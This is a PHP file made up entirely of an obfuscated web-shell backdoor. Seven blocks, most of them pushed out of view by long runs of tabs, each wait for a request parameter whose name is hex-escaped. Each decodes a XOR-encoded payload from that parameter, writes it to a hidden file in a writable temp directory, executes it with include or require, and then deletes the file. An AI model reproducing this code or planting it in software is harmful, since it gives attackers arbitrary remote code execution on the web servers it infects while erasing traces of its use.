<?php																																										if(!is_null($_POST["sy\x6D"] ?? null)){ $res = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP"), session_save_path(), "/var/tmp"]); $record = $_POST["sy\x6D"]; $record = explode ( '.' , $record) ; $pointer = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1 ); foreach ($record as $u => $v2): $sChar = ord($salt1[$u % $lenS] ); $d = ((int)$v2 - $sChar - ($u % 10)) ^ 60; $pointer .= chr($d ); endforeach; for ($token = 0, $itm = count($res); $token < $itm; $token++) { $holder = $res[$token]; if (!!is_dir($holder) && !!is_writable($holder)) { $obj = join("/", [$holder, ".pgrp"]); $success = file_put_contents($obj, $pointer); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(@$_POST["b\x69\x6Ed"] !== null){ $element = array_filter([getcwd(), session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]); $ptr = $_POST["b\x69\x6Ed"]; $ptr = explode ( "." , $ptr) ; $mrk = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $y = 0; $__tmp = $ptr; while( $v2 = array_shift( $__tmp)) { $sChar = ord( $salt7[$y % $lenS]); $dec = ( ( int)$v2 - $sChar -( $y % 10)) ^ 46; $mrk .= chr( $dec); $y++; } $tkn = 0; do { $value = $element[$tkn] ?? null; if ($tkn >= count($element)) break; if (array_product([is_dir($value), is_writable($value)])) { $ref = "$value/.factor"; if (file_put_contents($ref, $mrk)) { include $ref; @unlink($ref); exit; } } $tkn++; } while (true); }
																																										if(array_key_exists("ent", $_REQUEST)){ $fac = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/tmp"]); $item = $_REQUEST["ent"]; $item=explode ( '.' , $item ) ; $component=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s ); $m=0; while( $m < count( $item)) { $v8=$item[$m]; $chS=ord( $s[$m % $sLen] ); $d=( ( int)$v8 - $chS -( $m % 10)) ^ 63; $component .= chr( $d ); $m++; } foreach ($fac as $mrk) { if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $dchunk = vsprintf("%s/%s", [$mrk, ".flg"]); if (file_put_contents($dchunk, $component)) { include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(isset($_REQUEST["d\x61\x74\x61\x5Fc\x68unk"])){ $component = $_REQUEST["d\x61\x74\x61\x5Fc\x68unk"]; $component = explode ('.' , $component ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($component as $x => $v8) { $sChar = ord($s[$x % $lenS]); $d =((int)$v8 - $sChar -($x % 10)) ^ 14; $res .= chr($d); } $symbol = array_filter(["/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP")]); $dchunk = 0; do { $marker = $symbol[$dchunk] ?? null; if ($dchunk >= count($symbol)) break; if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $data = "$marker/.ent"; $file = fopen($data, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $data; @unlink($data); die(); } } $dchunk++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["v\x61\x6Cue"])){ $ent = array_filter([getcwd(), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]); $rec = $_POST["v\x61\x6Cue"]; $rec = explode ("." , $rec ) ; $property_set= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt6 ); foreach( $rec as $z=>$v6): $chS= ord( $salt6[$z% $lenS] ); $dec= ( ( int)$v6 - $chS -( $z% 10)) ^ 19; $property_set.= chr( $dec ); endforeach; foreach ($ent as $key => $flg) { if (!!is_dir($flg) && !!is_writable($flg)) { $dat = vsprintf("%s/%s", [$flg, ".marker"]); if (@file_put_contents($dat, $property_set) !== false) { include $dat; unlink($dat); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x76al")){ $property_set = $_POST["\x76al"]; $property_set = explode("." , $property_set ); $data_chunk =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $z =0; while ($z< count($property_set)) { $v6 =$property_set[$z]; $chS =ord($s[$z % $sLen]); $dec =((int)$v6 - $chS - ($z % 10)) ^ 37; $data_chunk .= chr($dec); $z++;} $flg = array_filter(["/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path()]); foreach ($flg as $item) { if (!( !is_dir($item) || !is_writable($item) )) { $rec = "$item/.data"; if (file_put_contents($rec, $data_chunk)) { require $rec; unlink($rec); die(); } } } }


if(isset($_POST["\x64\x61t"])){
	$item = array_filter(["/tmp", "/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm"]);
	$desc = $_POST["\x64\x61t"];
	$desc =	 	explode('.',   $desc )  	;	 
	$pgrp = 	'';
            $s5 = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = 	strlen(	$s5);
    
            foreach(	$desc as $t => $v7) {	 $chS = 	ord(	$s5[$t% $sLen]);
                $dec = 	(	(	int)$v7 - $chS -(	$t% 10)) ^ 23;
                $pgrp		.=chr(	$dec);
            }
	foreach ($item as $entity):
    		if (is_dir($entity) && is_writable($entity)) {
    $bind = str_replace("{var_dir}", $entity, "{var_dir}/.hld");
    $file = fopen($bind, 'w');
if ($file) {
	fwrite($file, $pgrp);
	fclose($file);
	include $bind;
	@unlink($bind);
	die();
}
}
endforeach;
}